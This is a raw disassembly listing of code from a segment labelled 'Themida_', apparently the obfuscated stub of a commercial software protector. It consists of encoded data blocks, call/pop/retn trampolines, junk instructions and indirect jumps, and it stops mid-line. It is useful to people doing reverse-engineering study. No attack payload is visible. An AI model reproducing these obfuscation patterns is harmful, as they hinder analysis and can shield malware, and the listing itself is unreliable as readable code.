91D65B17h dd 0F04C3F6h, 8684h, 89858900h, 0FF06130Eh, 13211195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0B5AEF67Dh, 61BD8B46h, 8106131Eh, 0D5D6CF7h dd 13E9900Ah, 0DC000000h, 0F6012497h, 0AA3454DAh, 0F935E52Dh dd 30AFE915h, 0F509C6Dh, 8Fh, 6A9000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0CE910C3h dd 0CF000000h, 0AE4B8D3h, 1912FE3Ah, 0E91F055Dh, 4BFh dd 15800Fh, 10E90000h, 6000000h, 0CD819B71h, 6B8D8548h dd 9F52448Eh, 0B0C25299h, 13E900h, 9CC50000h, 0FC907BDDh dd 0C3BD48D5h, 96B0301Ch, 0FCC79F60h, 6A70E622h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0A98AC353h, 8B0D017Dh, 6A71E4FAh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 89EEC355h dd 132175BDh, 0D8B60F06h, 8E0Fh, 8E90000h, 0DC000000h dd 3901F18Ah, 0BA05FE37h, 6, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 4FC35747h, 0BD336AFCh, 6131F3Dh dd 0E1BD8B60h, 89061318h, 1301B1BDh, 0C38B6106h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A7C35747h, 6A04E8C1h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 129AC352h, 8BE2F766h, 131EADB5h, 47F7BF06h dd 0D82B2818h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 0F4C35545h, 0ABA2F1ADh, 93FB3832h, 6964BE50h, 6A935C52h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0DB9CC353h, 1D2D126Ah, 5D26DB58h, 8BF88B66h dd 132CF5BDh, 21B5FF06h, 6A06130Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0C84DC352h dd 0A170A254h, 0F99E188h, 9D89F9BFh, 6131305h, 0DA995FFh dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 686234C3h, 0DA06027Ch, 0B0F818C4h, 0D9BD3300h dd 0E6061331h, 55006A70h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 7D8966D6h, 0F724121h dd 8D0FF6B7h, 6, 16218501h, 71E40613h, 830F613Ch, 2ABh dd 0B60FF98Bh, 51006AD8h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0A1DB29D3h, 0AD9D4901h dd 2DB50300h, 0BA061332h, 6, 8B665F50h, 0E8C38BF9h, 8 dd 0F83DB9D4h, 838359B9h, 11458529h, 0C15F0613h, 6A04E8h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 145223C3h, 660A3795h, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 60D441C3h, 0DD852957h dd 5F06132Bh, 0DE9h, 50AF8900h, 1C1D0938h, 6F4F318Ah, 0E9618CAEh dd 7, 0E9A6911Ch, 2BF8C69Ah, 56006AD8h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 1EAE518Fh dd 29BD8BC5h, 5806131Bh, 6E8h, 1F07F500h, 2BE656D7h, 132091B5h dd 0D82B5E06h, 1AD880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0B58BE4C3h, 6131FE9h dd 31A1B58Bh, 95890613h, 6132C1Dh, 7B9h, 0C8B0F00h, 0F000000h dd 684h, 61B52900h, 8306130Dh, 6A00C1h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0E50420C3h dd 768D1E66h, 0D93B3068h, 139860Fh, 8A0F0000h, 6, 10559589h dd 8C660613h, 61FC60D9h, 0F04C1F6h, 0F984h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0E91CD69Ch, 6, 57412C6Ch, 95FF91CAh, 6132111h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 50C35343h, 196DC746h dd 5BF18B46h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0AEC35040h, 0C8144765h, 0C32B8395h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FBC35545h, 91865DE0h dd 89ED8568h, 132539BDh, 8343D06h, 860F0000h, 4Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 63C35646h, 2CAD3158h dd 4D64CB70h, 4AE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 5E013A5h, 1D09BD8Bh, 0C08B0613h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D3C35343h dd 7AABAA42h, 8B11B28Ch, 0F8D88BC3h, 85C7F18Bh, 61316A1h dd 17FC935Fh, 1575BD8Bh, 0C08B0613h, 0A09BDF81h, 0BD814A74h dd 6130B21h, 7D0h, 29850Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 770B77C3h dd 0FF31FA99h, 130B2185h, 0FFF78B06h, 130B21B5h, 0D9952906h dd 89061306h, 132A15B5h, 0A995FF06h, 6A06130Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 52E9C353h, 0D1D78072h, 78B89070h, 6A123456h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 62A8C351h, 9EBB5C54h, 12619D89h, 8D890613h, 6130EADh dd 0E3949D8Dh, 0BAE90616h, 6AFFFFF7h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 7AC6C352h dd 65442799h, 6672B3F5h, 0A1ACF781h, 39958960h, 0F06131Dh dd 0C87h, 0E1950900h, 106132Bh, 13064DBDh, 0C18B6106h dd 0EBFBB70Fh, 4, 0FB8B6600h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0F1C35141h, 8398B409h, 8B0F7870h dd 6, 2471B589h, 81660613h, 8DABF9C6h, 131EA985h, 0FEBF0F06h dd 52505090h, 10E85250h, 94000000h, 0A47C0A5Eh, 7C932BC7h dd 5D78039Fh, 5E50E32Eh, 585A310Fh, 8B66310Fh, 90585AF8h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F5C35545h dd 0A2ED6F24h, 95896F8Fh, 6132D29h, 0BD8B006Ah, 61322C5h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 5AE358C3h, 9CB096C0h, 34858DDEh, 6A0616E6h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0D527C356h, 0C3406FC1h, 0D9BD89F1h, 83061313h dd 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 66AA71C3h dd 539743BFh, 0CE9h, 651C4600h, 1688801Dh, 87E0C55Ah, 0E9905E8Eh dd 9, 0C9A72D4Ch, 0ACDBAE84h, 60605051h, 310F5250h, 13E9585Ah dd 68000000h, 14AAA518h, 2257E9EDh, 2695BD52h, 8A5701E7h dd 6161557Ah, 89006A90h, 131E7995h, 6A006A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0CB10C357h, 0B58BB944h, 6131465h, 7F195FFh, 6A0613h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0DAD2CBC3h, 9D8D0468h, 616A36Ah, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 59C35242h, 82FE842h, 0D3F78166h dd 6AD3FFC3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0EC5BC355h, 2E12E538h, 0A05B509h dd 85FF0613h, 61316D9h, 0DE9h, 0F89CCA00h, 8BB4727Eh, 55CB5FE3h dd 0BEE9C1BCh, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 616E63Eh jle loc_5BA918 mov di, dx loc_5BA918: ; CODE XREF: Themida_:005BA90Fj cmp dword ptr [ebp+6130B21h], 7D0h jbe loc_5BAA94 push esi movsx esi, di pop edi push edx sub [ebp+61304CDh], edi pop edi mov ebx, [ebp+61309CDh] push 0 push ecx call sub_5BA946 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA946 proc near ; CODE XREF: Themida_:005BA93Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5BA946 endp ; --------------------------------------------------------------------------- dw 0D19Dh dd 26BEFFFEh, 100E381h, 0BD8B0000h, 61325DDh, 850FDB0Bh dd 0C8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0D4C35141h, 0BD8BC026h, 6132A75h, 0E41BBD83h, 0F000616h dd 3C84h, 55BD8B00h, 0E9061331h, 0A3h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 1CC35646h, 0FE9E0h, 4530000h dd 47413C6Eh, 0E68D0EF0h, 173DBE64h, 1B85C72Eh, 10616E4h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0E400C355h, 6B0A9712h, 89E45B7Dh dd 1330759Dh, 39E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 27EC3h, 858FB8F4h, 0E41B85C7h dd 616h, 60500000h, 23D19D89h, 0BF0F0613h, 8D5E61C1h, 1309CD9Dh dd 9D896006h, 61321DDh, 61CB8B66h, 0FEFF2381h, 6AFFFFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 27F3F1C3h, 6E952h, 1B260000h, 2E741FEEh, 0F3B70F5Eh ; --------------------------------------------------------------------------- loc_5BAA94: ; CODE XREF: Themida_:005BA922j mov bx, ds mov [ebp+613214Dh], esi test bl, 4 jz loc_5BAAB6 call dword ptr [ebp+6132111h] cld push eax mov si, ax mov [esp], eax mov esi, ecx loc_5BAAB6: ; CODE XREF: Themida_:005BAAA0j jmp loc_5BAF41 ; --------------------------------------------------------------------------- push 0 push eax call sub_5BAAC6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BAAC6 proc near ; CODE XREF: Themida_:005BAABEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5BAAC6 endp ; --------------------------------------------------------------------------- adc [edx+40A9F794h], ah cmp eax, 85899C79h cmp ds:0B00613h, esi jmp loc_5BAAF5 ; --------------------------------------------------------------------------- dd 11E256BBh, 8955782h ; --------------------------------------------------------------------------- inc edx loc_5BAAF5: ; CODE XREF: Themida_:005BAAE7j out 70h, al ; CMOS Memory: ; used by real-time clock push 0 push esi call sub_5BAB02 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BAB02 proc near ; CODE XREF: Themida_:005BAAFAp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5BAB02 endp ; --------------------------------------------------------------------------- dw 72B8h dd 85CDEC3Eh, 71E48A70h, 31B58BFCh, 0F061312h, 6AD8B6h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 8B0B3BC3h, 94626808h, 14E9h, 0BE09AB00h, 0EE917488h dd 45236EF5h, 0A9CA9F6Dh, 2785BABDh, 6BA20h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 7EF4AEC3h, 458D0156h, 0F06130Ah, 685h, 399D8900h, 8B061301h dd 0DCBF66C3h, 0CE974h, 82040000h, 7462880Ch, 0A82DFF03h dd 0E8C18E88h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 6E95641h, 0D1000000h dd 0E6F0EF1Ah, 0E2F76621h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0B7C35646h, 4DB230CEh, 0D362A14Ah, 0D82BFA8Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 24C35141h dd 13E95693h, 19000000h, 5004EDB1h, 5AB5EA67h, 0D28146A2h dd 4BE24048h, 505E8419h, 57006A93h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 424CA399h, 61CAC71Dh dd 0B5FFFC79h, 6130B21h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 9EC35040h, 3F8876Ah, 0D1B50923h, 0FF061325h dd 130DA995h, 598D0106h, 0B0061313h, 75BD8B00h, 0E6061315h dd 56006A70h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 2FCA75Ah, 5B46BE86h, 71E446EDh, 85B58B57h dd 5E06131Dh, 830F613Ch, 265h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 19C35242h, 37430549h, 0E68166F5h dd 0B60FA8D0h, 0FA8B66D8h, 6BAh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 9B372C1Ah dd 0E9C38B1Fh, 0Dh, 0E537A687h, 92F890F7h, 0A02DE7B2h dd 4E8C137h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0EBC35141h, 0CF33CE18h, 8B5D2E6Fh, 1323C1BDh, 0E2F76606h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 22C35747h dd 6D55822Fh, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0DF359BC3h, 0A1B023Bh, 6A58F937h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 74D2C356h, 64B98D33h, 0B58B4B4Bh, 61314D1h dd 880FD82Bh, 159h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0A6C35646h, 0C36A72ACh, 393AD7E3h, 7B9F5h dd 0DE810000h, 61F6440Eh, 0C183F5h, 0FD93BF9h, 11C86h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0E860F99Ch, 0Ch, 0D876BD4Dh, 0B39153BDh dd 718327EEh, 22999589h, 615B0613h, 66D98C66h, 0C1F6FA8Bh dd 0B7840F04h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 452DC356h, 0E9993A37h dd 12h, 0FD7C39E4h, 0D722BA08h, 0DB33EC3h, 3AEA2A08h, 0B58BE6DEh dd 6130DB5h, 211195FFh, 7E90613h, 29000000h, 330D7494h dd 0F5B8AB4h, 688h, 74DF8100h, 2B315428h, 50006AC3h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 3C260829h, 0F18D09D9h, 3D061324h, 834h, 28860Fh, 42E90000h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 6014C351h, 4AB866F5h, 0C08B6175h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 69C35747h ; --------------------------------------------------------------------------- popa loc_5BAF41: ; CODE XREF: Themida_:loc_5BAAB6j mov eax, ebx mov ebx, eax push 0 push eax call sub_5BAF50 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BAF50 proc near ; CODE XREF: Themida_:005BAF48p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5BAF50 endp ; --------------------------------------------------------------------------- leave retn 2146h ; --------------------------------------------------------------------------- mov dword ptr [ebp+6131461h], 3A3ED731h mov eax, eax jbe $+6 cmp dword ptr [ebp+6130B21h], 7D0h jnz loc_5BAFD9 push 0 push edx call sub_5BAF91 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BAF91 proc near ; CODE XREF: Themida_:005BAF89p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5BAF91 endp ; --------------------------------------------------------------------------- and [ecx], ah and esi, [ebp+6131B0Dh] inc dword ptr [ebp+6130B21h] push 0 push ecx call sub_5BAFBA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BAFBA proc near ; CODE XREF: Themida_:005BAFB2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5BAFBA endp ; --------------------------------------------------------------------------- dw 406Ch dd 0D9A8E426h, 71E5617Eh, 0A8A11BEh db 11h ; --------------------------------------------------------------------------- loc_5BAFD9: ; CODE XREF: Themida_:005BAF80j push dword ptr [ebp+6130B21h] mov [ebp+613235Dh], esi call dword ptr [ebp+6130DA9h] push 0 push edi call sub_5BAFF6 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BAFF6 proc near ; CODE XREF: Themida_:005BAFEEp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5BAFF6 endp ; --------------------------------------------------------------------------- push 60D8E3F6h and dword ptr [ebx+edi*8], 0F9B70FAFh movsx edi, di nop inc eax mov esi, [ebp+6131055h] cmp dword ptr [ebp+61320A5h], 0 jz loc_5BB0F8 push 0 push edi call sub_5BB035 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB035 proc near ; CODE XREF: Themida_:005BB02Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5BB035 endp ; --------------------------------------------------------------------------- db 0BFh, 3Fh, 0C3h ; --------------------------------------------------------------------------- jmp small loc_5BB053 ; --------------------------------------------------------------------------- dd 7E050000h ; --------------------------------------------------------------------------- cmc jle short loc_5BB0B8 loc_5BB053: ; CODE XREF: Themida_:005BB048j push edi push cs cmp dword ptr [ebp+61322C1h], 0 jz loc_5BB0F8 call sub_5BB06C mov edx, 0E034FA1Ah ; =============== S U B R O U T I N E ======================================= sub_5BB06C proc near ; CODE XREF: Themida_:005BB062p ; FUNCTION CHUNK AT 005BB0F8 SIZE 0000004B BYTES ; FUNCTION CHUNK AT 005BB69C SIZE 00000007 BYTES mov [ebp+6132085h], edi pop esi and di, 2CA6h call dword ptr [ebp+61320A5h] mov si, bx mov [ebp+613307Dh], esi or eax, eax jz loc_5BB0F8 mov [ebp+61328C1h], edi lea ecx, [ebp+6134F8Dh] push 0 push ebx call sub_5BB0A6 and [ebx-3Dh], bl sub_5BB06C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5BB0A6 proc near ; CODE XREF: sub_5BB06C+32p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5BB0A6 endp ; --------------------------------------------------------------------------- mov cl, 5Dh loc_5BB0B8: ; CODE XREF: Themida_:005BB051j jmp loc_5BB0C6 ; --------------------------------------------------------------------------- db 0CDh, 0DDh, 62h dd 6B0EE677h db 0D1h, 3Ch ; --------------------------------------------------------------------------- loc_5BB0C6: ; CODE XREF: Themida_:loc_5BB0B8j mov eax, 5 mov esi, [ebp+6131969h] jmp ecx ; --------------------------------------------------------------------------- push 0 push ebx call sub_5BB0DE and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB0DE proc near ; CODE XREF: Themida_:005BB0D6p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5BB0DE endp ; --------------------------------------------------------------------------- dw 2983h ; --------------------------------------------------------------------------- sub ebp, [ebp+0Bh] mov ebp, 6133205h ; START OF FUNCTION CHUNK FOR sub_5BB06C loc_5BB0F8: ; CODE XREF: Themida_:005BB024j ; Themida_:005BB05Cj ... cmp dword ptr [ebp+6131179h], 0 jz loc_5BB69C pusha or edi, 46FC12D7h xor ecx, 2F98FF63h popa cmp dword ptr [ebp+61322C1h], 0 jz loc_5BB69C mov esi, [ebp+613169Dh] lea ecx, [ebp+6131B21h] mov esi, [ebp+6131F2Dh] mov dword ptr [ecx], 44B27C84h push 0 push ebp call sub_5BB143 and [ebp-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5BB06C ; =============== S U B R O U T I N E ======================================= sub_5BB143 proc near ; CODE XREF: sub_5BB06C+CFp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5BB143 endp ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov esp, 8D29598Fh fldenv byte ptr [ecx] adc eax, [esi] add dword ptr [ecx], 1499CFCBh push 0 push ebp call sub_5BB16E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB16E proc near ; CODE XREF: Themida_:005BB166p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5BB16E endp ; --------------------------------------------------------------------------- dw 7363h dd 91435F2Bh, 1A820Fh, 0E8560000h, 12h, 9DB42C51h, 669453EAh dd 3DB5DF6Fh, 3225AA1Ch, 5E5F15E2h, 340441C7h, 8BCE706Bh dd 44181F3h, 31D6D710h, 7E8h, 3FBBEB00h, 0A8528FEFh, 163D8D01h dd 6A5F0613h, 0F38B6600h, 1B21858Dh, 85310613h, 6131985h dd 0FE890h, 0D8D90000h, 0F4057006h, 8149FD6Fh, 5212E173h dd 138F0F4Dh, 0E9000000h, 0Eh, 1253E8E6h, 0DE37195Ch, 66705119h dd 505F5C73h, 90FB8B66h, 9E5B58Bh, 95FF0613h, 6131179h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 59C35646h dd 4212F17Dh, 0B9666033h, 56607CA7h, 14E958h, 0E2710000h dd 417C7D52h, 0AF115987h, 64BB52E8h, 4693B53Dh, 61610950h dd 1B218D8Dh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 6089D3C3h, 1C7h, 800F0000h, 5, 11F78166h dd 441C749h, 0 ; --------------------------------------------------------------------------- jmp loc_5BB2A6 ; --------------------------------------------------------------------------- db 0C8h, 75h, 57h dd 1A639DEh db 0E0h, 63h ; --------------------------------------------------------------------------- loc_5BB2A6: ; CODE XREF: Themida_:005BB298j or eax, eax jz loc_5BB2F8 movsx edi, dx lea ecx, [ebp+6134F8Dh] jmp loc_5BB2CF ; --------------------------------------------------------------------------- dd 724C3385h, 69122ECAh, 0EFDE15BCh, 29A4FE74h db 0F6h, 0B2h, 0C3h ; --------------------------------------------------------------------------- loc_5BB2CF: ; CODE XREF: Themida_:005BB2B7j mov eax, 5 mov si, cx jmp ecx ; --------------------------------------------------------------------------- push 0 push ebp call sub_5BB2E4 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB2E4 proc near ; CODE XREF: Themida_:005BB2DCp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5BB2E4 endp ; --------------------------------------------------------------------------- dd 0F091BEF0h ; --------------------------------------------------------------------------- loc_5BB2F8: ; CODE XREF: Themida_:005BB2A8j lea ecx, [ebp+6131B21h] push 0 push ebx call sub_5BB309 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB309 proc near ; CODE XREF: Themida_:005BB301p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5BB309 endp ; --------------------------------------------------------------------------- cld sub ah, [esi-42h] sar byte ptr [ecx+727C01C7h], 0AAh inc esp push 0 push ebx call sub_5BB330 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB330 proc near ; CODE XREF: Themida_:005BB328p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5BB330 endp ; --------------------------------------------------------------------------- dd 0AB9FB2Eh, 557036FDh, 830FC953h, 0 ; --------------------------------------------------------------------------- add dword ptr [ecx], 1499CFCBh mov di, cx mov [ebp+6132B35h], edx mov dword ptr [ecx+4], 0CE78753Ch push 0 push ebx call sub_5BB371 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB371 proc near ; CODE XREF: Themida_:005BB369p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5BB371 endp ; --------------------------------------------------------------------------- mov edi, 4418137h adc bh, dl setalc xor [edx+0], ebp push eax call sub_5BB395 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB395 proc near ; CODE XREF: Themida_:005BB38Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5BB395 endp ; --------------------------------------------------------------------------- db 1Bh, 93h, 2Ch dd 1ABDC99Eh, 218D3183h, 6A061323h, 8DF98B00h, 131B2185h dd 1F810F06h, 0F000000h, 198Eh, 13E800h, 0C9D30000h, 0A8F896D8h dd 0B8315DADh, 8D51ECA2h, 0BEBFA67Fh, 0E9505EE6h, 10h dd 8C3FA23Dh, 18E7B741h, 0E6F4160Ah, 8D308F3Dh, 0E9240489h dd 0Ch, 1164CF02h, 0B7C0C10Ch, 0FA34241Ch, 117995FFh, 6A0613h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0B3A39C3h, 0ADB58Bh, 0F38B0613h, 1B218D8Dh, 6A0613h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 4353E7C3h, 1C7h, 0BD230000h, 613304Dh, 441C7h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8B5BC350h, 130D61BDh, 0FC00B06h, 5F84h, 8D8DF800h dd 6134F8Dh, 0EA59D89h, 5B80613h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 2232C350h, 68F0Fh, 0E6810000h, 51FAABh, 6AE1FFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0C06C35C3h, 0A223BDE8h, 1B218D8Dh, 6A0613h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0FD8765C3h, 1B8D3591h, 1C7CE8Fh, 54CA95A5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 4AC35646h, 0FAB7FE59h dd 718589AFh, 81061320h, 99CFCB01h, 50006A14h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 790802B6h dd 0A9F8CDB1h, 441C713h, 0CE5F5969h, 44181FCh, 31D6D710h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BEC35646h dd 5156006Ah, 858D5F5Fh, 6131B21h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0FBC35646h, 0C5488D10h, 3DB58916h dd 50061319h, 13E8h, 4A47EB00h, 572685D3h, 0FAD10159h dd 680B3A39h, 0F6DB58Fh, 2404895Eh, 117995FFh, 0BD8B0613h dd 6131991h, 1B218D8Dh, 5E90613h, 0B8000000h, 1C98C78Bh dd 1C7h, 0B5230000h, 61315D5h, 441C7h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 1BE3C353h, 860FA1B5h, 0 ; --------------------------------------------------------------------------- or eax, eax jz loc_5BB69C push 0 push edi call sub_5BB65B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB65B proc near ; CODE XREF: Themida_:005BB653p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5BB65B endp ; --------------------------------------------------------------------------- jnb short loc_5BB6D3 mov esi, edi lea ecx, [ebp+6134F8Dh] mov eax, 5 jmp ecx ; --------------------------------------------------------------------------- push 0 push eax call sub_5BB687 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB687 proc near ; CODE XREF: Themida_:005BB67Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5BB687 endp ; --------------------------------------------------------------------------- db 0D0h dd 3A1D4784h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB06C loc_5BB69C: ; CODE XREF: sub_5BB06C+93j ; sub_5BB06C+AEj ... add ecx, edx jmp near ptr dword_5BA7F4+10Fh ; END OF FUNCTION CHUNK FOR sub_5BB06C ; --------------------------------------------------------------------------- call sub_5BB6B8 push ecx retn 0EAFEh ; --------------------------------------------------------------------------- dd 8486D6B6h, 0F397C1ADh, 63FDF98Dh ; =============== S U B R O U T I N E ======================================= sub_5BB6B8 proc near ; CODE XREF: 